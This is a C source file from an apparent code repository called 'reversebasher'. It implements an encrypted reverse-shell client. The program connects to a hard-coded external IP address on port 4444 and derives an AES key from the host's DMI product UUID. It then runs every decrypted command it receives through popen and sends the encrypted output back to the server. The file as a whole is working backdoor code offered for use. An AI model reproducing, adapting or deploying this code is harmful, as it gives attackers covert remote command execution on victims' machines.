reversebasher/client.c
wheelchairy 6283b45a0b letsgo
2025-02-10 14:48:54 +03:00

100 lines
3.0 KiB
C
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <openssl/evp.h>
#include <openssl/rand.h>
#include <openssl/sha.h>
#define SERVER_IP "212.113.119.5"
#define PORT 4444
#define AES_KEY_SIZE 16
#define AES_BLOCK_SIZE 16
unsigned char key[AES_KEY_SIZE];
void generate_aes_key() {
FILE *fp = popen("cat /sys/class/dmi/id/product_uuid", "r");
char buffer[256];
if (fp == NULL || fgets(buffer, sizeof(buffer), fp) == NULL) {
pclose(fp);
RAND_bytes(key, AES_KEY_SIZE);
} else {
pclose(fp);
SHA256((unsigned char *)buffer, strlen(buffer), key);
}
}
int encrypt_data(unsigned char *plaintext, int plaintext_len, unsigned char *key, unsigned char *iv, unsigned char *ciphertext) {
EVP_CIPHER_CTX *ctx = EVP_CIPHER_CTX_new();
int len, ciphertext_len;
EVP_EncryptInit_ex(ctx, EVP_aes_128_cbc(), NULL, key, iv);
EVP_EncryptUpdate(ctx, ciphertext, &len, plaintext, plaintext_len);
ciphertext_len = len;
EVP_EncryptFinal_ex(ctx, ciphertext + len, &len);
ciphertext_len += len;
EVP_CIPHER_CTX_free(ctx);
return ciphertext_len;
}
int decrypt_data(unsigned char *ciphertext, int ciphertext_len, unsigned char *key, unsigned char *iv, unsigned char *plaintext) {
EVP_CIPHER_CTX *ctx = EVP_CIPHER_CTX_new();
int len, plaintext_len;
EVP_DecryptInit_ex(ctx, EVP_aes_128_cbc(), NULL, key, iv);
EVP_DecryptUpdate(ctx, plaintext, &len, ciphertext, ciphertext_len);
plaintext_len = len;
EVP_DecryptFinal_ex(ctx, plaintext + len, &len);
plaintext_len += len;
plaintext[plaintext_len] = '\0';
EVP_CIPHER_CTX_free(ctx);
return plaintext_len;
}
int main() {
generate_aes_key();
int sock;
struct sockaddr_in server;
unsigned char buffer[1024], encrypted[1024], decrypted[1024];
unsigned char iv[AES_BLOCK_SIZE] = {0}; // IV для шифрования
sock = socket(AF_INET, SOCK_STREAM, 0);
server.sin_family = AF_INET;
server.sin_addr.s_addr = inet_addr(SERVER_IP);
server.sin_port = htons(PORT);
if (connect(sock, (struct sockaddr *)&server, sizeof(server)) < 0) {
perror("[-] Не удалось подключиться");
exit(1);
}
printf("[+] Подключено к серверу %s:%d\n", SERVER_IP, PORT);
while (1) {
int recv_len = recv(sock, encrypted, sizeof(encrypted), 0);
int decrypted_len = decrypt_data(encrypted, recv_len, key, iv, decrypted);
FILE *fp = popen((char *)decrypted, "r");
if (fp == NULL) {
perror("[-] Ошибка выполнения команды");
exit(1);
}
fread(buffer, 1, sizeof(buffer) - 1, fp);
pclose(fp);
buffer[strlen((char *)buffer)] = '\0';
int encrypted_len = encrypt_data(buffer, strlen((char *)buffer), key, iv, encrypted);
send(sock, encrypted, encrypted_len, 0);
}
close(sock);
return 0;
}